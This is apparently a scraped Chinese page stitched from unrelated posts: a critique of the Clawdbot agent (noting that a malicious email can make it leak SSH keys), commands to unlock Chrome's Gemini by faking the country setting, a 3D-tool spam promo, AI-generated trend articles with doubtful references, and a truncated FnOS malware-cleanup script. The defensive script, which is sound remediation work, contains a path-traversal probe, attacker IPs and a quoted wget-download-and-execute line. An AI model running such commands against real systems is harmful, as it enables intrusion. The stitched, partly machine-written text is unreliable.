2026年1月

Clawdbot的成功是桌面系统的成功@PlatyHsu:只要你关注科技新闻,最近几乎一定会听说过Clawdbot(经历两次更名,现在叫做OpenClaw),可能也已经刷到了无数教程和分享。简单回顾: ...


Clawdbot 的成功是桌面系统的成功

@PlatyHsu:只要你关注科技新闻,最近几乎一定会听说过 Clawdbot(经历两次更名,现在叫做 OpenClaw),可能也已经刷到了无数教程和分享。

简单回顾:Clawdbot 是一个运行在桌面操作系统上的个人 AI 助理工具。它以 Telegram、WhatsApp 等聊天软件作为交互界面,并通过向 AI 模型暴露操作系统中的文件、软件和接口,帮助用户执行任务。

如果你已经了解以 Claude Code 为代表的终端编程工具,不妨将 Clawdbot 理解为一个面向日常需求的 Claude Code。Clawdbot 的设计与 Claude Code 有很多相似之处。例如,工作原理上, 两者都强调对文件系统与命令行的操作能力,都采用「代理循环」(agentic loop)的工作机制,即模型负责推理与规划,调用工具在真实环境里读写与执行,结果再返回给模型继续规划,如此循环直到任务完成。配置方式上,两者都支持以工作区文件夹(workspace)为单位配置代理行为,都支持通过「技能」(skills)等方式扩展能力。实际上,许多能通过 Clawdbot 完成的操作,之前也已经能通过 Claude Code 完成。

但 Clawdbot 的区分度——也是吸引力的主要来源——在于它比 Claude Code 驻留更久、入口更多、手臂更长。从架构上看,Clawdbot 的核心是一个称为「网关」(gateway)的守护程序。网关连接着「频道」(channel,聊天消息收发渠道)和「提供商」(provider,本地或远程的 AI 模型接口)。当用户通过频道发来问题或指令时,网关将用户消息和一些模板内容(包括系统提示词、AGENTS.md 等)组合起来,发给 AI 模型,后者随即根据指令查询记忆、调用工具,最后将响应结果通过网关转发到频道,答复用户。

此外,Clawdbot 还会主动完成检查邮件、日历等重复定时任务(称为「心跳」),主动将对话内容写入持久记忆(MEMORY.md)。由此,一个更方便、更拟人,也更「懂你」的助手人设就立起来了。

不过,这并不意味着 Clawdbot 是一个对日常用户友好、适合普通用户使用的工具。Clawdbot 的官方文档复杂、跳跃而晦涩(显然主要出自 AI 之手),安装方式依赖 npm(可能是被吐槽最多的包管理器之一),界面措辞也假定用户对命令行和 UNIX/Linux 系统管理有基本掌握。如果你平时并不了解这些,只是听信了网红鼓吹,就想用 Clawdbot 来掌管生活大小事,是有很大概率会吃闭门羹的——也难怪闲鱼上已经有投机者卖起 Clawdbot 服务器了。

更重要的是,Clawdbot 可能根本没有 AI 网红们鼓吹的那样有用。首先是成本问题。哪怕向 Clawdbot 提出一些最简单的要求(例如「列出我的待办事项」),消耗的 token 数量也是上万级的——你可能已经刷到了一些惊呼 Clawdbot 烧钱如烧纸的帖子。苹果圈的老朋友、自动化表演艺术家 Federico Viticci 上周在 MacStories 发表了一篇热情洋溢的文章(因为他对一切新玩具都热情洋溢),然后透露自己一个周末就烧了 560 多美元的 token,而他的成就就是能在电报上操作 Obsidian 笔记了。

当然,你可以通过绑定 ChatGPT 或者 Claude 订阅来控制成本。但且不论被封禁的风险,须知 ChatGPT-4o 级别模型的一次简单问答都会消耗 0.34 度电。只要你还有一点起码的环保意识,真的觉得花一两度电来完成一些琐事是值得的吗?

即使不考虑成本,稳健性和安全性的欠缺也决定了 Clawdbot 难以胜任真正重要的任务。那些展示 Clawdbot 神奇功效的帖子,一般不会说明它完成一项「壮举」花费的时间和经历的试错(剧透:通常不短、往往很多);实际使用中,能有八九成的成功率已经是谢天谢地,而哪怕 90% 的 SLA 对于任何生产服务都是不可接受的。一旦出错,手动解决的时间可能就会超过看起来节省的时间总和。

此外,Clawdbot 所谓的强大,很大程度上是以安全防护的缺失为代价的。知名 AI 圈博主 Simon Willison 曾经提出过「致命三要素」(the lethal trifecta)的概念,即如果 AI 同时 (1) 有权限访问私人数据,(2) 暴露于不受信任的内容,以及 (3) 能与外界通讯,就很容易受到攻击者诱使而泄漏数据。Clawdbot 不仅符合每一项条件,而且还没有 Claude Code 那样的权限请求机制,只会活蹦乱跳地执行任何来自你的(以及它自以为是来自你的)指令。也难怪一封恶意邮件就足以让 Clawdbot 交出 SSH 密钥了。

(你当然可以通过沙箱模式或者 VPS 托管来减小攻击面,但也因此失去了 Clawdbot 和其他 AI 代理工具的主要区分度。)

其实,Clawdbot 的成功与其说是 AI 的成功,不如说是桌面系统的成功。无论 AI 怎么突飞猛进,都不要忘了它的本质是根据上下文作概率预测;上下文输入的质量和边界,决定了 AI 输出的质量和边界。目前,许多 AI 大厂都面临因数据和接口互不开放造成的功能瓶颈:ChatGPT 要从第三方偷偷买来谷歌搜索结果,而 Gemini 也访问不到谷歌服务以外的用户数据。当模型的基础能力互相趋同,AI 的竞争很大程度上变成了生态基本盘的竞争。

但作为「一人项目」的 Clawdbot 看起来却超脱于这些限制之外,其原因当然不是它有多么强的技术架构和模型,而只是因为它的位置近水楼台,运行在桌面系统上——很多时候还是用户的主力系统。在这里,模型可以直接读取文件和数据,可以随意调用命令行工具和系统接口。即使是没有开放 API 的图形界面,也能操作鼠标和键盘控制。这些能力并不新颖,而只是桌面系统几十年来一直能做到的,之前也有许多可以通过传统自动化工具更低成本、更稳定地做到。

我们已在之前看到过类似情况。去年一度火热的 Manus,也曾以这样一种「下克上」的姿态粉墨登场。而其「秘诀」也是交给 AI 一台 Linux 虚拟机,让 AI 能充分利用一个完整桌面系统的能力。显然,这种模式是不难复制的。根据 AI 圈的惯例,有理由相信 Clawdbot 的热度可能会在半年到一年内消散,而其工作原理会被更主流的工具所吸纳,或者被包装为更简便易用的产品。

相比之下,更令人担心的是,为 Clawdbot 提供能力支撑的桌面操作系统还能走多远。Windows 桌面现在已经基本沦为 Copilot 巨幅广告牌,而 macOS 则深陷 iOS 影响下的身份危机。此外,它们都越发热衷于限制用户的自主性,缩紧系统文件权限、控制软件安装渠道。这种趋势的终点是一个大码的移动系统,把系统当作自家(围墙)服务生态的延伸,而不是一个开放平台。(Linux 当然不乏令人欣慰的发展,但今年显然不是「Linux 桌面元年」,明年也不会是。)

如果桌面系统也最终变成像移动系统那样的数据孤岛,那么新的 Clawdbot 将不会有出现的空间,而 AI 也将变成把控着所有数据的垄断厂商给用户的「恩赐」,而不是用户发挥自主、利用数据、改造环境的工具。

当然,这就不是那些今朝有酒今朝醉的 AI 网红们有兴趣讨论的了。

Gemini 登陆 Chrome:如何手动开启

@克莱德:去年 7 月,Google 开始测试用于 Chrome 的离线 Gemini Nano 小模型。尽管在随后的 v140 稳定版之后 Chrome 浏览器当中的 Gemini Nano 模型还支持了 CPU 推理,进一步扩展了适用范围,但开启操作繁琐且主要面向开发者测试 API 适配。

相比之下,近期在 v144 稳定版中上线的 Gemini 集成虽然姗姗来迟(相比早前各家的「AI 浏览器」),但实际体验却要成熟许多。借助侧边栏和弹窗,Google 几乎将 Gemini 的常见能力和网页浏览场景做了全方位的绑定,从获取当前浏览页面的上下文、调用 Google 自家服务完成跨应用任务、借助 Nano Banana 快速编辑网页图片,到完全自主的网页浏览和任务执行能力,可以说把 Gemini 网页版直接放在了浏览视图旁边,同时还借助 Gemini 3 的多模态能力一跃成为了少数具备 AI 代理能力的浏览器之一。

在金融支付这样的关键环节,Gemini 会将控制权交还给用户

Gemini 本身对中文的支持已经做得非常完善,简体中文下 Gemini Live 的语音音色甚至要比拥有本地办公室的台湾繁体中文好上不少,但上述 Chrome 中的 Gemini 功能目前却依然所在美国地区、英语语言使用环境这把大锁的背后。

而根据我的实际测试,简体中文环境下它依然能够保持和网页版、移动端完全一致的表现:

如果你也想提前尝鲜,下面这套方法可以试试(不保证 100% 有效)。

正在 macOS 上使用 Chrome 的朋友,不妨先在其它设备上打开这篇文章,然后通过 Command+Q 完全退出电脑上的 Chrome 并终端,依次运行:

cp ~/Library/Application\ Support/Google/Chrome/Local\ State ~/Library/Application\ Support/Google/Chrome/Local\ State.bak
sed -i '' 's/"is_glic_eligible":[[:space:]]*false/"is_glic_eligible":true/g' ~/Library/Application\ Support/Google/Chrome/Local\ State
sed -i '' 's/"variations_country":"cn"/"variations_country":"us"/g' ~/Library/Application\ Support/Google/Chrome/Local\ State
sed -i '' 's/"variations_permanent_consistency_country":[[:space:]]*\[\([^]]*\),[[:space:]]*"[^"]*"\]/"variations_permanent_consistency_country":[\1,"us"]/g' ~/Library/Application\ Support/Google/Chrome/Local\ State

而如果你是 Windows 用户,操作方法大同小异。以管理员身份运行 PowerShell,然后运行以下命令:

$path = "$env:LocalAppData\Google\Chrome\User Data\Local State"$path = "$env:LocalAppData\Google\Chrome\User Data\Local State"

(Get-Content -Raw $path) 
    -replace '"is_glic_eligible":\s*false', '"is_glic_eligible":true' 
    -replace '"variations_country":"cn"', '"variations_country":"us"' 
    -replace '"variations_permanent_consistency_country":\s*\[([^\]]*),\s*"[^"]*"\]', '"variations_permanent_consistency_country":[$1,"us"]' | 
Set-Content $path -Encoding UTF8(Get-Content -Raw $path) 
    -replace '"is_glic_eligible":\s*false', '"is_glic_eligible":true' 
    -replace '"variations_country":"cn"', '"variations_country":"us"' 
    -replace '"variations_permanent_consistency_country":\s*\[([^\]]*),\s*"[^"]*"\]', '"variations_permanent_consistency_country":[$1,"us"]' | 
Set-Content $path -Encoding UTF8

完成上述操作后,你就可以启动 Chrome,然后在地址栏粘贴并开启以下 feature flags 了:

会员专属文章,欢迎加入少数派会员。

优质内容

权益周边

会员社群

power+

“一张照片→秒出商用级 3D 模型! seed-3d.org 免费试用中,每天 50 个幸运儿已抢先体验 AI 魔法:超精细几何+真实 PBR 贴图,直接导入 Blender/Unity/打印!普通用户狂赞‘以前几百刀的外包,现在自己搞定’。限时每日免费额度,先到先得!快来生成你的专属 3D 资产吧~ https://seed-3d.org/ #AI3D #3D 打印 #图像转 3D”

https://seed-3d.org/
上面文案,可复制,直接发 X/小红书
如果你帮我转发,私信我推特,我会给你发红包

随着人工智能技术,以及智能体来了的时代,从模型参数竞赛阶段走向产业价值挖掘阶段,2026 年被普遍视为 AI 大规模落地的关键分水岭。大量项目复盘表明,真正产生长期价值的 AI 系统,并非依赖单点技术突破,而是建立在稳定、可复制的工程实践之上。

在跨行业应用过程中,一批已经被反复验证、具备高度共识性的落地经验逐渐清晰,并正在成为企业构建智能系统的事实标准。


一、系统重心从“模型能力”转向“数据与工作流能力”

在早期实践中,模型规模常被误认为是落地效果的决定性因素。但从实际生产环境来看,AI 系统的最终产出能力,更取决于数据治理水平与业务流程的重构深度。

1. 数据质量决定性能上限 行业实践已充分验证,AI 的能力边界由数据质量决定,模型只是逼近这一上限的工具。高质量的合成数据、结构化行业知识库,在专业任务中的实际贡献,往往显著高于单纯的模型微调。

2. 工作流重构优先于功能替代 简单地在原有流程中叠加 AI 功能,通常难以形成实质性的效率提升。成熟的落地路径往往伴随业务流程的原子化拆解,将 AI 部署在高逻辑密度、强规则依赖的关键节点,而非全面替代人工操作。


二、两条已被验证的关键技术路径

在提升 AI 可用性与可靠性的过程中,行业逐步收敛出两条可长期复用的技术路线。

1. RAG 的系统级工程化实践 RAG 已成为降低大模型幻觉风险的主流方案。但在企业级应用中,它并非简单的向量检索,而是一套包含多级索引、重排序机制以及知识图谱增强的复合系统。其核心目标是确保输出信息具备可追溯性,满足业务对准确性的刚性要求。

2. 推理过程的可解释与可控 随着应用复杂度提升,行业逐步强调推理路径的透明化。通过显式规划与反思机制,将生成结果转化为可审计的逻辑链条,使复杂决策过程具备可解释性。在这一背景下,智能体来了,更多被视为工程架构层面的能力演进,而非单一模型形态的变化。


三、风险边界与人类介入机制的标准化

AI 参与业务执行并不意味着人类角色的弱化,而是职能层级的上移。

1. 闭环反馈机制成为标配 成功案例普遍建立了高频反馈通道。一线业务专家的修正意见被系统化沉淀为偏好数据,持续用于模型优化与策略调整。

2. 独立安全护栏的工程实践 在金融、医疗等高敏感场景中,成熟方案通常在生成层之外部署独立审核层,用于合规扫描与风险拦截,该层不参与生成,仅负责规则校验。


四、已形成共识的 AI 落地核心准则

综合大量行业实践,AI 落地的关键要素可归纳为以下四项:

  • 场景对齐:优先选择高频、高价值、逻辑闭环明确的应用场景
  • 知识解耦:通用模型能力与企业私有知识分离,保持知识动态更新
  • 架构弹性:支持多模型协作与工具调用,避免绑定单一模型路径
  • 迭代闭环:执行效果直接映射核心业务指标,形成持续优化机制

这些共识表明,AI 的成功落地并非一次性技术交付,而是一个持续演进的工程体系。企业竞争的关键,正在转向谁能更高效地将业务认知转化为 AI 可执行的结构化指令。

本文章内容和图片由AI辅助生成

抢高铁票有啥好办法吗?

虽然候补一般都能补到,但是还是想问问各位大佬是怎么搞的

py 脚本?

摘要:2026 年是真正的“AI Agent 元年”。大模型已从单一的文本生成进化为具备自主执行能力的“智能体集群”。本文将深度解析中国 AI 产业在这一进程中的技术贡献,探讨开发者如何从底层代码编写者转型为智能体编排专家,并揭示未来三年的行业重构路径。

目录

  1. 范式转移:为什么说 2026 年才是真正的元年
  2. 核心技术:从提示词工程到工作流编排
  3. 架构演进:多智能体协作系统(MAS)的崛起
  4. 开发者生存指南:如何从“写代码”转变为“调教集群”
  5. 实战案例:一个全自动化的数字化开发部门
  6. 参考文献

一、 范式转移:为什么说 2026 年才是真正的元年

在 2026 年这个节点,我们终于告别了对“聊天机器人”的盲目崇拜。

过去,我们认为 AI 的终极形态是一个“无所不知”的大脑。但实践证明,单体大模型在处理复杂长链路逻辑时存在难以克服的幻觉问题。2026 年的共识是:群体智慧优于个体巅峰

这一年,AI 的重心从单纯的 LLM(大语言模型) 转向了具备强执行力的 Agent(智能体)。AI 不再只是“说”,而是在“做”。当 AI 开始拥有自主操作文件、调用国产办公软件 API、甚至在受控环境中进行自动化运维的能力时,真正的效率革命正式爆发。


二、 核心技术:从提示词工程到工作流编排

2026 年,开发者需要思考的不再是如何写一段完美的指令,而是如何构建一个具备自愈能力的系统:

  • 闭环反馈(Feedback Loop):当 Agent 任务失败时,系统自动抓取错误日志并分发给“诊断智能体”修复。
  • 国产算力优化:利用 DeepSeek 等团队开源的先进推理技术,在国产算力平台上实现极低成本的智能体并行运行。
  • 动态路由(Dynamic Routing):根据任务难度,自动在千亿参数模型与轻量化边缘模型(如 Qwen-Lite)之间进行推理切换。

三、 架构演进:多智能体协作系统(MAS)的崛起

在 2026 年的架构图中,我们看到的不再是单点的 API 调用,而是多智能体协作系统(Multi-Agent System):

  1. 感知层(Perception):监控 GitHub 提交、生产环境日志、实时政策动向。
  2. 规划层(Planning):将复杂业务目标拆解为细粒度的子任务。
  3. 执行层(Execution):专门负责代码实现、自动化测试和文档生成的 Agent 小组。
  4. 反思层(Criticism):独立审计节点,专门寻找代码漏洞、逻辑陷阱和合规性问题。

四、 开发者生存指南:如何从“写代码”转变为“调教集群”

1. 技能重构

  • 架构思维 > 语法实现:你需要设计复杂的逻辑网,而不是纠结于代码缩进。
  • 业务定义能力:AI 懂编程,但它不懂具体的业务场景。定义的准确性将决定 Agent 的执行效率。

2. 工具链的转换
你的标准开发环境将由传统的 IDE 进化为集成了智能体编排能力的“Agentic-IDE”,支持可视化编辑任务流和实时监控 Agent 思考过程(CoT)。


五、 实战案例:一个全自动化的数字化开发部门

想象这样一个场景:
你输入一个需求:“为公司开发一套基于鸿蒙系统的 AI 办公辅助工具。”

  • Agent A(架构师):在 10 秒内生成适配鸿蒙底层的技术选型报告。
  • Agent B(前端):根据最新的 UI 设计趋势生成界面代码。
  • Agent C(后端):编写 API 逻辑并完成国产数据库适配。
  • Agent D(安全员):全程进行国密标准扫描。

人类工程师的作用: 在关键节点决策,并根据 Agent D 发现的安全风险提供业务层的终审。


六、 参考文献

  1. DeepSeek-AI. (2025). DeepSeek-V3/R1: 强化学习驱动的高性能推理模型及其在 Agent 场景的应用.
  2. 智谱 AI 团队. (2024). AutoGLM: 迈向通用自主智能体的移动端实践.
  3. 阿里云 Qwen 团队. (2025). Qwen-Agent: 开源智能体框架在大规模工业生产中的落地实践.
  4. 华为 Noah's Ark 实验室. (2024). 基于昇腾算力的多智能体系统协同调度算法研究.
  5. 百度文心一言团队. (2025). 复杂任务拆解与长短期记忆在智能体工作流中的工程化实现.
  6. 张俊林等. (2024). 大模型时代的智能体演进:从辅助工具到数字化员工. 中国人工智能学会会刊.

版权声明:本文为作者对 2026 年 AI 趋势的深度预测与技术复盘。转载请注明出处。

TAD6S4N10G 股东群 1 内的大佬 @Lany 写的
更新了 6 个版本,我都测试没问题了。

#!/bin/bash

# ==========================================================
# FnOS 安全应急处置工具(交互式 · v2.1 精准版)
# ==========================================================
# v2.1:
#  - IOC 分级:STRICT / LOOSE ,严格特征才参与删除/修复
#  - system_startup.sh 精准删除恶意行,避免误删正常 wget
#  - 增加 cron 持久化排查
#  - 增加哈希型 systemd 服务名检测
#  - 文件隔离增加命中原因,进程清理更收敛
# ==========================================================

LOG_FILE="/var/log/fnos_security_fix.log"
BACKUP_DIR="/root/fnos_quarantine_$(date +%F_%H%M%S)"

# --- 威胁情报特征库 (IOCs) ---

# 高置信度特征(可用于删除/修复)
STRICT_REGEX="45\.95\.212\.102|151\.240\.13\.91|turmp|gots|trim_https_cgi|snd_pcap|killaurasleep|8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc"

# 宽松特征(用于检测提示,不直接作为删除依据)
LOOSE_REGEX="$STRICT_REGEX|bkd|bkd2|57132"

MALICIOUS_IPS=("45.95.212.102" "151.240.13.91")
MALICIOUS_DOMAINS=("xd.killaurasleep.top")
MALICIOUS_FILES=("bkd" "bkd2" "8f2226523c594b2e17d68a05dc12702132bb1859fc4b01af378208ac8a2547dc")

SCAN_DIRS=(
    "/usr/bin"
    "/usr/sbin"
    "/usr/trim"
    "/tmp"
    "/var/tmp"
    "/fnos/usr/trim"
    "/root"
)

# ---------------- 基础函数 ----------------

need_root() {
    if [ "$EUID" -ne 0 ]; then
        echo "❌ 请使用 root 权限运行( sudo -i )"
        exit 1
    fi
}

pause() {
    read -rp "👉 按回车继续..."
}

confirm() {
    read -rp "⚠️  $1 (y/N): " ans
    [[ "$ans" =~ ^[yY]$ ]]
}

log_init() {
    exec > >(tee -a "$LOG_FILE") 2>&1
    mkdir -p "$BACKUP_DIR"
    chmod 700 "$BACKUP_DIR"
}

banner() {
    clear
    cat <<'EOF'
====================================================
   FnOS 安全应急处置工具 v2.1 (精准 IOC 版)
====================================================
⚠️  覆盖威胁: gots / trim / snd_pcap / bkd / killaurasleep
📌  操作逻辑: 隔离文件 -> 阻断网络 -> 清理服务 -> 修复启动项
====================================================
EOF
}

# ---------------- 检测模块 ----------------

path_traversal_check() {
    echo "🔍 [1] 检测路径穿越漏洞..."
    URL="http://127.0.0.1:5666/app-center-static/serviceicon/myapp/%7B0%7D/?size=../../../../etc/passwd"
    if curl -s --max-time 3 "$URL" | grep -q "root:x:0:0"; then
        echo "❌ [严重] 存在路径穿越漏洞(建议立即升级 FnOS 系统)"
    else
        echo "✅ 未触发路径穿越漏洞"
    fi
}

infection_scan() {
    echo "🔍 [2] 扫描是否已中招(基于最新情报)..."
    local hit=0

    # 1. 检查内核模块
    if lsmod | grep -q snd_pcap; then
        echo "❌ 已加载恶意内核模块: snd_pcap"
        hit=1
    fi

    # 2. 检查恶意进程(基于文件名)
    for proc in "${MALICIOUS_FILES[@]}"; do
        if pgrep -f "$proc" >/dev/null; then
            echo "❌ 发现疑似恶意进程正在运行: $proc"
            hit=1
        fi
    done

    # 3. 检查恶意 Systemd 服务文件内容
    if grep -RqsE "$STRICT_REGEX" /etc/systemd/system/ 2>/dev/null; then
        echo "❌ 在 Systemd 服务文件中发现恶意特征"
        hit=1
    fi

    # 4. 检查哈希型服务名
    for svc in /etc/systemd/system/*.service; do
        [ ! -f "$svc" ] && continue
        base=$(basename "$svc")
        if [[ "$base" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "❌ 发现可疑哈希服务名: $base"
            hit=1
        fi
    done

    # 5. 特征扫描(关键位置,使用 STRICT )
    if grep -RqsE "$STRICT_REGEX" /fnos/usr/trim /etc/rc.local /etc/ld.so.preload 2>/dev/null; then
        echo "❌ 在系统关键位置发现恶意特征字符串"
        hit=1
    fi

    # 6. cron 持久化检查
    if grep -RqsE "$STRICT_REGEX" /etc/crontab /etc/cron.d 2>/dev/null; then
        echo "❌ 在系统级 cron 中发现恶意特征"
        hit=1
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "❌ 在 root 用户 crontab 中发现恶意特征"
        hit=1
    fi

    if [ "$hit" -eq 0 ]; then
        echo "✅ 未发现明显入侵迹象"
    else
        echo "⚠️  系统疑似已被入侵(建议执行自动修复模式)"
    fi
}

# ---------------- 修复模块 ----------------

block_network() {
    echo "🛑 [3] 阻断恶意通信..."

    # 备份 hosts
    cp /etc/hosts "$BACKUP_DIR/hosts.bak" 2>/dev/null

    # 1. IP 封禁 (NFT / iptables)
    if command -v nft >/dev/null; then
        nft list table inet fnos_guard >/dev/null 2>&1 || nft add table inet fnos_guard
        nft list chain inet fnos_guard output >/dev/null 2>&1 || \
            nft add chain inet fnos_guard output { type filter hook output priority 0 \; }
        for ip in "${MALICIOUS_IPS[@]}"; do
            nft add rule inet fnos_guard output ip daddr "$ip" drop 2>/dev/null
        done
        echo "   - [防火墙] 已封禁恶意 IP (nftables)"
    elif command -v iptables >/dev/null; then
        for ip in "${MALICIOUS_IPS[@]}"; do
            iptables -C OUTPUT -d "$ip" -j DROP 2>/dev/null || \
            iptables -I OUTPUT -d "$ip" -j DROP
        done
        echo "   - [防火墙] 已封禁恶意 IP (iptables)"
    else
        echo "   - 未检测到 nft/iptables ,跳过 IP 封禁"
    fi

    # 2. 域名 Sinkhole (Hosts 劫持)
    for domain in "${MALICIOUS_DOMAINS[@]}"; do
        if ! grep -q "$domain" /etc/hosts; then
            echo "127.0.0.1 $domain" >> /etc/hosts
            echo "   - [Hosts] 已劫持域名: $domain"
        else
            echo "   - [Hosts] 域名已劫持: $domain"
        fi
    done
    echo "✅ 网络阻断策略已应用"
}

kill_process() {
    echo "🔪 [4] 终止恶意进程..."

    # 1. 基于文件名的进程
    for proc in "${MALICIOUS_FILES[@]}"; do
        pids=$(pgrep -f "$proc")
        if [ -n "$pids" ]; then
            echo "   - 正在终止进程: $proc (PID: $pids)"
            kill -9 $pids 2>/dev/null
        fi
    done

    # 2. 更精准:命令行中同时包含关键 IOC 的进程
    pgrep -af "bkd" 2>/dev/null | grep -E "killaurasleep|151\.240\.13\.91" | awk '{print $1}' | xargs -r kill -9 2>/dev/null
    pgrep -af "turmp" 2>/dev/null | awk '{print $1}' | xargs -r kill -9 2>/dev/null

    echo "✅ 进程清理完成"
}

clean_systemd_services() {
    echo "🧹 [5] 清理恶意 Systemd 服务..."

    # 1. 基于内容 IOC 的服务文件
    grep -lE "$STRICT_REGEX" /etc/systemd/system/*.service 2>/dev/null | while read -r service_file; do
        [ -z "$service_file" ] && continue
        service_name=$(basename "$service_file")
        echo "   🚨 发现恶意服务(内容命中): $service_name"

        systemctl stop "$service_name" 2>/dev/null
        systemctl disable "$service_name" 2>/dev/null

        chattr -i "$service_file" 2>/dev/null
        cp "$service_file" "$BACKUP_DIR/"
        rm -f "$service_file"
        echo "   - 已移除并备份服务文件"
    done

    # 2. 基于哈希型服务名的检测
    for service_file in /etc/systemd/system/*.service; do
        [ ! -f "$service_file" ] && continue
        service_name=$(basename "$service_file")
        if [[ "$service_name" =~ ^[0-9a-f]{64}\.service$ ]]; then
            echo "   🚨 发现可疑哈希服务名: $service_name"
            systemctl stop "$service_name" 2>/dev/null
            systemctl disable "$service_name" 2>/dev/null

            chattr -i "$service_file" 2>/dev/null
            cp "$service_file" "$BACKUP_DIR/"
            rm -f "$service_file"
            echo "   - 已移除并备份哈希服务文件"
        fi
    done

    systemctl daemon-reload
    echo "✅ Systemd 服务清理完成"
}

scan_and_quarantine() {
    echo "🔎 [6] 深度扫描并隔离文件..."

    for dir in "${SCAN_DIRS[@]}"; do
        [ ! -d "$dir" ] && continue
        echo "   正在扫描目录: $dir"

        find "$dir" -maxdepth 3 -type f -executable -mtime -30 2>/dev/null | while read -r f; do
            [ "$f" == "$0" ] && continue

            filename=$(basename "$f")
            match=0
            reason=""

            # 1. 文件名命中恶意列表(高置信度)
            for bad_name in "${MALICIOUS_FILES[@]}"; do
                if [[ "$filename" == "$bad_name" ]]; then
                    match=1
                    reason="name-hit:$bad_name"
                    break
                fi
            done

            # 2. 内容命中严格 IOC (更安全)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
                    match=1
                    reason="content-hit:STRICT"
                fi
            fi

            # 3. 可选:内容命中组合 IOC (网络 + 域名)
            if [ $match -eq 0 ]; then
                if strings "$f" 2>/dev/null | grep -q "151\.240\.13\.91" && \
                   strings "$f" 2>/dev/null | grep -q "killaurasleep"; then
                    match=1
                    reason="content-hit:IP+domain"
                fi
            fi

            if [ $match -eq 1 ]; then
                echo "🚨 发现威胁文件: $f  (原因: $reason )"
                chattr -i "$f" 2>/dev/null
                fuser -k "$f" 2>/dev/null
                mv "$f" "$BACKUP_DIR/$(basename "$f")_$(date +%s).infected"
                echo "   -> 已隔离至备份目录"
            fi
        done
    done
    echo "✅ 文件扫描完成"
}

remove_kernel_module() {
    echo "🧠 [7] 清理恶意内核模块..."
    if lsmod | grep -q snd_pcap; then
        echo "   - 发现 snd_pcap ,尝试卸载..."
        modprobe -r snd_pcap 2>/dev/null || rmmod -f snd_pcap 2>/dev/null
        if lsmod | grep -q snd_pcap; then
             echo "❌ 卸载失败,可能需要重启系统进入恢复模式处理"
        else
             echo "✅ snd_pcap 已卸载"
        fi
    else
        echo "ℹ️ 未发现 snd_pcap 模块"
    fi
}

fix_persistence_common() {
    echo "🔧 [8] 修复通用持久化配置..."

    # 修复 ld.so.preload (仅删除 STRICT 命中的行)
    if [ -f /etc/ld.so.preload ]; then
        if grep -Eq "$STRICT_REGEX" /etc/ld.so.preload; then
            echo "   - 修复 /etc/ld.so.preload"
            chattr -i /etc/ld.so.preload 2>/dev/null
            cp /etc/ld.so.preload "$BACKUP_DIR/ld.so.preload.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/ld.so.preload
            [ ! -s /etc/ld.so.preload ] && rm -f /etc/ld.so.preload
        fi
    fi

    # 修复 rc.local (仅删除 STRICT 命中的行)
    if [ -f /etc/rc.local ]; then
         if grep -Eq "$STRICT_REGEX" /etc/rc.local; then
            echo "   - 修复 /etc/rc.local"
            chattr -i /etc/rc.local 2>/dev/null
            cp /etc/rc.local "$BACKUP_DIR/rc.local.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/rc.local
         fi
    fi

    # 修复 cron (备份后删除 STRICT 命中的行)
    if [ -f /etc/crontab ]; then
        if grep -Eq "$STRICT_REGEX" /etc/crontab; then
            echo "   - 修复 /etc/crontab"
            cp /etc/crontab "$BACKUP_DIR/crontab.bak"
            sed -i -E "/$STRICT_REGEX/d" /etc/crontab
        fi
    fi
    if ls /etc/cron.d/* >/dev/null 2>&1; then
        for f in /etc/cron.d/*; do
            [ ! -f "$f" ] && continue
            if grep -Eq "$STRICT_REGEX" "$f"; then
                echo "   - 修复 cron.d: $f"
                cp "$f" "$BACKUP_DIR/$(basename "$f").bak"
                sed -i -E "/$STRICT_REGEX/d" "$f"
            fi
        done
    fi
    if crontab -l 2>/dev/null | grep -Eq "$STRICT_REGEX"; then
        echo "   - 修复 root crontab"
        crontab -l > "$BACKUP_DIR/root.crontab.bak"
        crontab -l | sed -E "/$STRICT_REGEX/d" | crontab -
    fi

    echo "✅ 持久化配置检查完成"
}

fix_fnos_system_startup() {
    FILE="/fnos/usr/trim/bin/system_startup.sh"

    echo "🔧 [9] 修复 FnOS 特定启动项..."

    [ ! -f "$FILE" ] && { echo "ℹ️ 未找到 $FILE ,跳过"; return; }

    # 仅用于判断是否疑似被篡改
    if grep -Eq "151\.240\.13\.91|turmp|killaurasleep" "$FILE"; then
        echo "❌ 在 system_startup.sh 中发现疑似恶意代码"

        chattr -i "$FILE" 2>/dev/null
        cp "$FILE" "$BACKUP_DIR/system_startup.sh.bak"

        # 精准删除已知恶意注入行:
        # wget http://151.240.13.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp
        sed -i '\|wget http://151\.240\.13\.91/turmp -O /tmp/turmp ; chmod 777 /tmp/turmp ; /tmp/turmp|d' "$FILE"

        # 兼容未来 turmp 变种(仍然保持行为链特征)
        sed -i '/wget .*turmp .*chmod .*turmp .*\/tmp\/turmp/d' "$FILE"

        echo "✅ 恶意启动行已清除(原文件已备份)"
    else
        echo "✅ system_startup.sh 未发现异常特征"
    fi
}

# ---------------- 主流程 ----------------

need_root
log_init
banner

echo "请选择操作模式:"
echo "  1) 仅检测(推荐先跑,无风险)"
echo "  2) 自动修复(执行阻断、清理、修复)"
echo "  3) 仅封禁网络(防火墙 + Hosts )"
echo "  4) 退出"
echo

read -rp "请输入选项 [1-4]: " MODE

case "$MODE" in
1)
    path_traversal_check
    infection_scan
    ;;
2)
    echo "----------------------------------------------------"
    echo "⚠️  注意:修复过程中会停止恶意进程并移动文件。"
    confirm "建议您已备份重要数据。是否开始执行?" || exit 0
    echo "----------------------------------------------------"

    block_network           # 先断网,防止下载新样本
    kill_process            # 杀进程,防止锁文件
    clean_systemd_services  # 清理 systemd 服务(含哈希服务名)
    remove_kernel_module    # 卸载内核模块
    fix_persistence_common  # 修复 rc.local / ld.so.preload / cron
    fix_fnos_system_startup # 修复 FnOS 特有脚本
    scan_and_quarantine     # 最后扫描残留文件
    ;;
3)
    block_network
    ;;
*)
    echo "👋 已退出"
    exit 0
esac

echo
echo "===================================================="
echo "✅ 操作已结束"
echo "📁 隔离文件目录: $BACKUP_DIR"
echo "📄 详细日志记录: $LOG_FILE"
echo "💡 安全建议:"
echo "   1. 立即修改 SSH 密码和 FnOS 后台密码"
